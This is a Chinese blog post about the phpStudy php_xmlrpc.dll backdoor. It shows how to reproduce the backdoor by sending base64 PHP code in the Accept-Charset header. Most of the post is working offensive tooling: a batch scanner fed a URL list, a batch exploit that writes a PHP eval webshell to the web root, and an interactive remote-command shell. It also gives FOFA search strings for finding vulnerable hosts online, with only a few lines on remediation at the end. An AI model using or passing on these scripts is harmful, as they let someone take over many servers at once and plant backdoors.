一, 漏洞描述
Phpstudy 软件是国内的一款免费的 PHP 调试环境的程序集成包, 通过集成 Apache,PHP,MySQL,phpMyAdmin,ZendOptimizer
多款软件一次性安装, 无需配置即可直接安装使用, 具有 PHP 环境调试和 PHP 开发功能, 在国内有着近百万 PHP 语言学习者, 开发者用户.
正是这样一款公益性软件, 2018 年 12 月 4 日, 西湖区公安分局网警大队接报案称, 某公司发现公司内有 20 余台计算机被执行危险命令, 疑似远程控制抓取账号密码等计算机数据 回传大量敏感信息.
二, 后门漏洞影响版本
- phpStudy2016
- PHP\PHP-5.2.17\ext\php_xmlrpc.dll
- PHP\PHP-5.4.45\ext\php_xmlrpc.dll
- phpStudy2018
- PHPTutorial\PHP\PHP-5.2.17\ext\php_xmlrpc.dll
- PHPTutorial\PHP\PHP-5.4.45\ext\php_xmlrpc.dll
三, 漏洞危害
风险等级: 高
风险危害:
1. 获取服务器权限
2. 写入 webshell
四, 后门漏洞复现流程
- Accept-Encoding: gzip,deflate
- Accept-Charset: payload(base64 编码)
注意:
Accept-Encoding: gzip,deflate
gzip, 空格 deflate
gzip 逗号后面这个空格需要删除, 否则无回显
payload 也就是我们的 PHP 代码, 构造要经过 base64 编码过后再放入
复现过程:
抓取 URL 请求包, 首页即可
然后发送到 Repeater 模块测试
这里可以看见前面所说的 gzip 逗号后面的空格没有删掉
再者 Accept-Charset 需要自己构造
我们构造一个 system('whoami'); base64 编码过后的然后发送过去测试
这里可以看见, 执行了 whoami
接下来编写我们的 批量 POC,EXP, 交互 shell
五, Python 编写批量 POC,EXP, 交互 shell
批量 POC:
- #!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- # @Author : 白纸书生
- # @FileName: phpstudy_poc.py
- import requests
- def POC(url):
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
- 'Accept-Encoding': 'gzip,deflate',
- 'Accept-Charset': 'c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7'
- }
- try:
- response = requests.get(url=url,headers=headers,timeout=3)
- print(url)
- if response.status_code == 200:
- if "\"local<****>host\"" in response.text:
- print('存在 phpstudy 后门漏洞 ------------',url)
- return
- else:
- return
- except:
- return
- if __name__ == '__main__':
- for url in open(r'urls.txt'):
- POC(url)
- EXP:
- #!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- # @Author : 白纸书生
- # @FileName: phpstudy_exp.py
- import requests
- def EXP(url):
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
- 'Accept-Encoding': 'gzip,deflate',
- 'Accept-Charset': 'ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs='
- }
- try:
- response = requests.get(url=url,headers=headers,timeout=3)
- if response.status_code == 200:
- print('Success------------',url+"shell.php")
- except:
- return
- if __name__ == '__main__':
- for url in open(r'urls.txt'):
- EXP(url)
exp 这里的 payload 是写入 webshell
payload: fputs(fopen($_SERVER['DOCUMENT_ROOT'].'/shell.php','w'),'<?php @eval($_POST[cmd])?>');
通过 $_SERVER['DOCUMENT_ROOT'] 获取网站根目录再写入.
交互 shell:
- #!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- # @Author : 白纸书生
- # @FileName: phpstudy_shell.py
- import requests
- import re
- import base64
- def SHELL(url):
- try:
- while 1:
- shell = input(">>>")
- shell = "echo \"abds\";system(\""+shell+"\");echo \"abds\";"
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
- 'Accept-Encoding': 'gzip,deflate',
- 'Accept-Charset': base64.b64encode(shell.encode()).decode()
- }
- response = requests.get(url=url,headers=headers,timeout=3)
- text = re.findall(r"abds(.+?)abds",response.text,re.S)
- print(text[0])
- if shell == "0":
- return
- except:
- print("异常")
- if __name__ == '__main__':
- url = 'http://localhost/'
- SHELL(url)
回显通过 PHP 的 echo "abds"; 包裹着 也就是命令被两个字符串包裹着, 然后我们通过 python 正则把它从 abds 中间提取出来即可
测试结果:
六, 通过网络空间引擎批量搜索
这里采用 fofa
构造通过返回的 server
- server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17"
- server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"
感觉准确率不够高的话, 可以再加个 PHP 探针做限制
七, 后门漏洞修复方式
1. 更新 phpstudy
2. 手动删除该 dll 文件
3. 采用火绒等杀毒软件查杀
来源: http://www.bubuko.com/infodetail-3679959.html